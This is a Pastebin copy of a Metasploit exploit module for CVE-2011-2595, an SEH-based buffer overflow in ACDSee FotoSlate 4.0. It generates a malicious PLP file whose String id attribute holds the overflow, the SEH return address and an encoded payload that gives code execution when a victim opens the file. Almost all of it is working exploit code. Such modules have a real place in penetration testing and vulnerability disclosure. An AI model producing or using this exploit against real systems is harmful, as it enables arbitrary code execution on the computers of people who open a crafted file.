Guest User

Untitled

a guest
Oct 11th, 2011
29
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.54 KB | None | 0 0
  1. ##
  2. # $Id: acdsee_fotoslate_string.rb 13853 2011-10-10 16:47:33Z sinn3r $
  3. ##
  4.  
  5. ##
  6. # This file is part of the Metasploit Framework and may be subject to
  7. # redistribution and commercial restrictions. Please see the Metasploit
  8. # Framework web site for more information on licensing and terms of use.
  9. # http://metasploit.com/framework/
  10. ##
  11.  
  12. require 'msf/core'
  13.  
  14. class Metasploit3 < Msf::Exploit::Remote
  15. Rank = GoodRanking
  16.  
  17. include Msf::Exploit::FILEFORMAT
  18. include Msf::Exploit::Remote::Seh
  19.  
  20. def initialize(info = {})
  21. super(update_info(info,
  22. 'Name' => 'ACDSee FotoSlate PLP File id Parameter Overflow',
  23. 'Description' => %q{
  24. This module exploits a buffer overflow in ACDSee FotoSlate 4.0 Build 146 via
  25. a specially crafted id parameter in a String element. When viewing a malicious
  26. PLP file with the ACDSee FotoSlate product, a remote attacker could overflow a
  27. buffer and execute arbitrary code. This exploit has been tested on systems such as
  28. Windows XP SP3, Windows Vista, and Windows 7.
  29. },
  30. 'License' => MSF_LICENSE,
  31. 'Author' =>
  32. [
  33. 'Parvez Anwar', # Vulnerability discovery
  34. 'juan vazquez' # Metasploit module
  35. ],
  36. 'Version' => '$Revision: 13853 $',
  37. 'References' =>
  38. [
  39. [ 'CVE', '2011-2595' ],
  40. [ 'OSVDB', '75425' ],
  41. [ 'BID', '49558' ],
  42. ],
  43. 'DefaultOptions' =>
  44. {
  45. 'EXITFUNC' => 'process',
  46. 'DisablePayloadHandler' => 'true'
  47. },
  48. 'Payload' =>
  49. {
  50. #'Space' => 4000,
  51. 'BadChars' => "\x00\x22"
  52. },
  53. 'Platform' => 'win',
  54. 'Targets' =>
  55. [
  56. [
  57. 'ACDSee FotoSlate 4.0 Build 146',
  58. {
  59. 'Ret' => 0x263a5b57, # pop, pop, ret from ipwssl6.dll
  60. 'Offset' => 1812,
  61. 'TotalLength' => 5000
  62. }
  63. ],
  64. ],
  65. 'Privileged' => false,
  66. 'DisclosureDate' => 'Sep 12 2011',
  67. 'DefaultTarget' => 0))
  68.  
  69. register_options(
  70. [
  71. OptString.new('FILENAME', [ true, 'The file name.', 'msf.plp']),
  72. ], self.class)
  73. end
  74.  
  75. def exploit
  76.  
  77. overflow = rand_text(target["Offset"])
  78. overflow << generate_seh_record(target.ret)
  79. overflow << payload.encoded
  80. overflow << rand_text_alpha(target["TotalLength"] - overflow.length)
  81.  
  82. plp =<<TEMPLATE
  83. <?xml version="1.0" encoding="ISO-8859-1"?>
  84. <ACDFotoSlateDocument15>
  85. <PageDefinition>
  86. <Template>
  87. <Version>3.0</Version>
  88. <Page>
  89. <Name>Letter</Name>
  90. <Properties>
  91. <String id="#{overflow}"></String>
  92. <String id="Width">8.500000IN</String>
  93. <String id="Height">11.000000IN</String>
  94. <String id="Orientation">Portrait</String>
  95. <Bool id="AutoRotate">FALSE</Bool>
  96. <Bool id="AutoFill">FALSE</Bool>
  97. </Properties>
  98. <Content>
  99. <Bool id="UseBGColor">FALSE</Bool>
  100. <Int id="BGImageType">0</Int>
  101. <String id="BGImageFile"></String>
  102. <Int id="BGColor">16777215</Int>
  103. </Content>
  104. </Page>
  105. <ToolList>
  106. <Group>
  107. <Tool>
  108. <Name>Image</Name>
  109. <Properties>
  110. <String id="XPos">0.500000IN</String>
  111. <String id="YPos">0.500000IN</String>
  112. <String id="Width">7.500000IN</String>
  113. <String id="Height">10.000000IN</String>
  114. <Float id="Tilt">0.000000</Float>
  115. </Properties>
  116. <Content>
  117. <Int id="ShapeType">0</Int>
  118. <Float id="RoundRectX">0.000000</Float>
  119. <Float id="RoundRectY">0.000000</Float>
  120. <Bool id="ShrinkToFit">FALSE</Bool>
  121. <Bool id="AutoRotate">FALSE</Bool>
  122. <Float id="BorderWidth">0.000000</Float>
  123. <Bool id="UseBGColor">FALSE</Bool>
  124. <Int id="BGColor">8454143</Int>
  125. <Bool id="DropShadow">FALSE</Bool>
  126. <Int id="DSColor">0</Int>
  127. <Bool id="BevelEdge">FALSE</Bool>
  128. <Bool id="Border">FALSE</Bool>
  129. <Int id="BorderColor">16711680</Int>
  130. <Bool id="IsLocked">FALSE</Bool>
  131. </Content>
  132. </Tool>
  133. </Group>
  134. </ToolList>
  135. </Template>
  136. <PageContent>
  137. <Version>3.0</Version>
  138. <Page>
  139. <Name>Letter</Name>
  140. <Content>
  141. <Bool id="UseBGColor">FALSE</Bool>
  142. <Int id="BGImageType">0</Int>
  143. <String id="BGImageFile"></String>
  144. <Int id="BGColor">16777215</Int>
  145. </Content>
  146. </Page>
  147. <ToolList>
  148. <Group>
  149. <Tool>
  150. <Name>Image</Name>
  151. <Content>
  152. <Int id="ShapeType">0</Int>
  153. <Float id="RoundRectX">0.000000</Float>
  154. <Float id="RoundRectY">0.000000</Float>
  155. <Bool id="ShrinkToFit">FALSE</Bool>
  156. <Bool id="AutoRotate">FALSE</Bool>
  157. <Float id="BorderWidth">0.000000</Float>
  158. <Bool id="UseBGColor">FALSE</Bool>
  159. <Int id="BGColor">8454143</Int>
  160. <Bool id="DropShadow">FALSE</Bool>
  161. <Int id="DSColor">0</Int>
  162. <Bool id="BevelEdge">FALSE</Bool>
  163. <Bool id="Border">FALSE</Bool>
  164. <Int id="BorderColor">16711680</Int>
  165. <Bool id="IsLocked">FALSE</Bool>
  166. </Content>
  167. </Tool>
  168. </Group>
  169. </ToolList>
  170. </PageContent>
  171. </PageDefinition>
  172. </ACDFotoSlateDocument15>
  173. TEMPLATE
  174.  
  175. print_status("Creating '#{datastore['FILENAME']}' file ...")
  176. file_create(plp)
  177. end
  178.  
  179. end
  180.  
  181.  
  182. =begin
  183. After SEH, we have ~0x23C3 bytes (9155 in decimal) of space for payload. But we need to avoid
  184. using a long buffer in order to avoid the meterpreter possibly being broken.
  185. =end
  186.  
  187.  
  188. # [2011-10-11]
  189.  
Advertisement
Add Comment
Please, Sign In to add comment